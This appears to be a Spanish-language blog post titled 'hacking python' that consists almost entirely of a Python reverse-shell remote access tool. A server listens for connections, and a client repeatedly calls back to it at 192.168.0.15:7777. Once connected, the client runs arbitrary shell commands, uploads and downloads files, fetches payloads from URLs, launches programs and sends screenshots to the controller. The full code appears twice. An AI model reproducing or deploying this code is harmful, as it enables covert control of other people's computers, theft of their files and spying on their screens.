hacking python 1234567890wxz
--------------------------servidor:
#!/usr/bin/env python
#_*_ coding: utf8 _*_
import socket
import base64
def shell():
current_dir = target.recv(1024)
while True:
comando = raw_input("{}~#: ".format(current_dir))
if comando == "exit":
target.send(comando)
break
elif comando[:2] == "cd":
target.send(comando)
res = target.recv(1024)
current_dir = res
print(res)
elif comando == "":
pass
elif comando[:8] == "download":
target.send(comando)
with open(comando[9:],'wb') as file_download:
datos = target.recv(30720)
file_download.write(base64.b64decode(datos))
elif comando[:6] == "upload":
try:
target.send(comando)
with open(res[7:],'rb') as file_upload:
target.send(base64.b64encode(file_upload.read()))
except:
print("ocurrio un error en la subida")
elif comando[:10] == "screenshot":
count = 0
target.send(comando)
with open("monitor-%d.png" % count, 'wb') as screen:
datos = target.recv(1024000)
data_decode = base64.b64decode(datos)
if data_decode == "fail":
print("No se pudo tomar la captura de pantalla")
else:
screen.write(data_decode)
print("captura tomada con exito")
count = count + 1
else:
target.send(comando)
res = target.recv(30720)
if res == "1":
continue
else:
print(res)
def upserver():
global server
global ip
global target
server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
server.bind(('192.168.0.15',7777))
server.listen(1)
print("corriendo servidor y esperando conexione... ")
target, ip = server.accept()
print("conexion recibida de: " + str(ip[0]))
upserver()
shell()
server.close()
----------------------------------cliente
#!/usr/bin/env python
#_*_ coding: utf8 _*_
import socket
import os
import subprocess
import base64
import requests
import mss
import time
def connection():
while True:
time.sleep(10)
try:
cliente.connect(('192.168.0.15',7777))
shell()
except:
connection()
def captura_pantalla():
screen = mss.mss()
screen.shot()
def download_file(url):
consulta = requests.get(url)
name_file = url.split("/")[-1]
with open(name_file,'wb') as file_get:
file_get.write(consulta.content)
def shell():
current_dir = os.getcwd()
cliente.send(current_dir)
while True:
res = cliente.recv(1024)
if res == "exit":
break
elif res[:2] == "cd" and len(res) > 2:
os.chdir(res[3:])
result = os.getcwd()
cliente.send(result)
elif res[:8] == "download":
with open(res[9:],'rb') as file_download:
cliente.send(base64.b64decode(file_download.read()))
elif res[:6] == "upload":
with open(res[7:],'wb') as file_upload:
datos = cliente.recv(30720)
file_upload.write(base64.b64decode(datos))
elif res[:3] == "get":
try:
download_file(res[4:])
cliente.send("Archivo descargado correctamente")
except:
cliente.send("Ocurrio un error en la descarga")
elif res[:10] == "screenshot":
try:
captura_pantalla()
with open('monitor-1.png','rb') as file_send:
cliente.send(base64.b64encode(file_send.read()))
os.remove("monitor-1.png")
except:
cliente.send(base64.b64encode("fail"))
elif res[:5] == "start":
try:
subprocess.Popen(res[6:],shell=True)
cliente.send("programa iniciado con exito")
except:
cliente.send("no se pudo iniciar el programa")
else:
proc = subprocess.Popen(res, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
result = proc.stdout.read() + proc.stderr.read()
if len(result) == 0:
cliente.send("1")
else:
cliente.send(result)
cliente = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connection()
cliente.close()
#!/usr/bin/env python
#_*_ coding: utf8 _*_
import socket
import base64
def shell():
current_dir = target.recv(1024)
while True:
comando = raw_input("{}~#: ".format(current_dir))
if comando == "exit":
target.send(comando)
break
elif comando[:2] == "cd":
target.send(comando)
res = target.recv(1024)
current_dir = res
print(res)
elif comando == "":
pass
elif comando[:8] == "download":
target.send(comando)
with open(comando[9:],'wb') as file_download:
datos = target.recv(30720)
file_download.write(base64.b64decode(datos))
elif comando[:6] == "upload":
try:
target.send(comando)
with open(res[7:],'rb') as file_upload:
target.send(base64.b64encode(file_upload.read()))
except:
print("ocurrio un error en la subida")
elif comando[:10] == "screenshot":
count = 0
target.send(comando)
with open("monitor-%d.png" % count, 'wb') as screen:
datos = target.recv(1024000)
data_decode = base64.b64decode(datos)
if data_decode == "fail":
print("No se pudo tomar la captura de pantalla")
else:
screen.write(data_decode)
print("captura tomada con exito")
count = count + 1
else:
target.send(comando)
res = target.recv(30720)
if res == "1":
continue
else:
print(res)
def upserver():
global server
global ip
global target
server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
server.bind(('192.168.0.15',7777))
server.listen(1)
print("corriendo servidor y esperando conexione... ")
target, ip = server.accept()
print("conexion recibida de: " + str(ip[0]))
upserver()
shell()
server.close()
----------------------------------cliente
#!/usr/bin/env python
#_*_ coding: utf8 _*_
import socket
import os
import subprocess
import base64
import requests
import mss
import time
def connection():
while True:
time.sleep(10)
try:
cliente.connect(('192.168.0.15',7777))
shell()
except:
connection()
def captura_pantalla():
screen = mss.mss()
screen.shot()
def download_file(url):
consulta = requests.get(url)
name_file = url.split("/")[-1]
with open(name_file,'wb') as file_get:
file_get.write(consulta.content)
def shell():
current_dir = os.getcwd()
cliente.send(current_dir)
while True:
res = cliente.recv(1024)
if res == "exit":
break
elif res[:2] == "cd" and len(res) > 2:
os.chdir(res[3:])
result = os.getcwd()
cliente.send(result)
elif res[:8] == "download":
with open(res[9:],'rb') as file_download:
cliente.send(base64.b64decode(file_download.read()))
elif res[:6] == "upload":
with open(res[7:],'wb') as file_upload:
datos = cliente.recv(30720)
file_upload.write(base64.b64decode(datos))
elif res[:3] == "get":
try:
download_file(res[4:])
cliente.send("Archivo descargado correctamente")
except:
cliente.send("Ocurrio un error en la descarga")
elif res[:10] == "screenshot":
try:
captura_pantalla()
with open('monitor-1.png','rb') as file_send:
cliente.send(base64.b64encode(file_send.read()))
os.remove("monitor-1.png")
except:
cliente.send(base64.b64encode("fail"))
elif res[:5] == "start":
try:
subprocess.Popen(res[6:],shell=True)
cliente.send("programa iniciado con exito")
except:
cliente.send("no se pudo iniciar el programa")
else:
proc = subprocess.Popen(res, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
result = proc.stdout.read() + proc.stderr.read()
if len(result) == 0:
cliente.send("1")
else:
cliente.send(result)
cliente = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connection()
cliente.close()
0 Comentarios